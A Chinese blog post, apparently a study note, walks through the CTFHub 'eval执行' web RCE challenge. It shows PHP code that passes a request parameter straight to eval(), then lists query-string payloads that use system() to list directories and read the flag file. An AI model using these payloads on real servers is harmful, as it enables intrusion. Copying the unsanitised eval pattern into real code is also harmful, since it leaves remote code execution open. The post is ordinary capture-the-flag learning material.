技术栈

CTFHub 技能树 Web RCE eval执行(学习记录)

马船长2024-12-15 17:23

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

上一篇:博客MDX渲染方案
下一篇:在IDE中使用Git
相关推荐
优雅的潮叭
6 小时前
c++ 学习笔记之 shared_ptr
c++·笔记·学习
am心
6 小时前
学习笔记-用户下单
笔记·学习
微露清风
6 小时前
系统性学习C++-第二十二讲-C++11
java·c++·学习
进阶小白猿
7 小时前
Java技术八股学习Day20
java·开发语言·学习
renhongxia1
7 小时前
学习基于数字孪生的工艺参数优化
学习
gjf05_05
7 小时前
人该怎样活着呢?版本68.6
学习
GISer_Jing
8 小时前
AI Agent 智能体的“深度思考”与“安全防线”
人工智能·学习·安全·aigc
我命由我12345
9 小时前
充血模型与贫血模型
java·服务器·后端·学习·架构·java-ee·系统架构
时间会给答案scidag
9 小时前
Spring AI Alibaba 学习day01
人工智能·学习·spring
风送雨
10 小时前
FastAPI 学习教程 · 第4部分
学习·fastapi
热门推荐
01GitHub 镜像站点022025 Telegram 最新免费社工库机器人(LetsTG可[特殊字符])搭建指南(含 Python 脚本)032025年大语言模型技术全景报告04Linux下V2Ray安装配置指南05安娜的档案(Anna’s Archive) 镜像网站/国内最新可访问入口(持续更新)06UV安装并设置国内源07Claude Code Skills 实用使用手册08Labelme从安装到标注:零基础完整指南09AI 规范驱动开发“三剑客”深度对比:Spec-Kit、Kiro 与 OpenSpec 实战指南10BongoCat - 跨平台键盘猫动画工具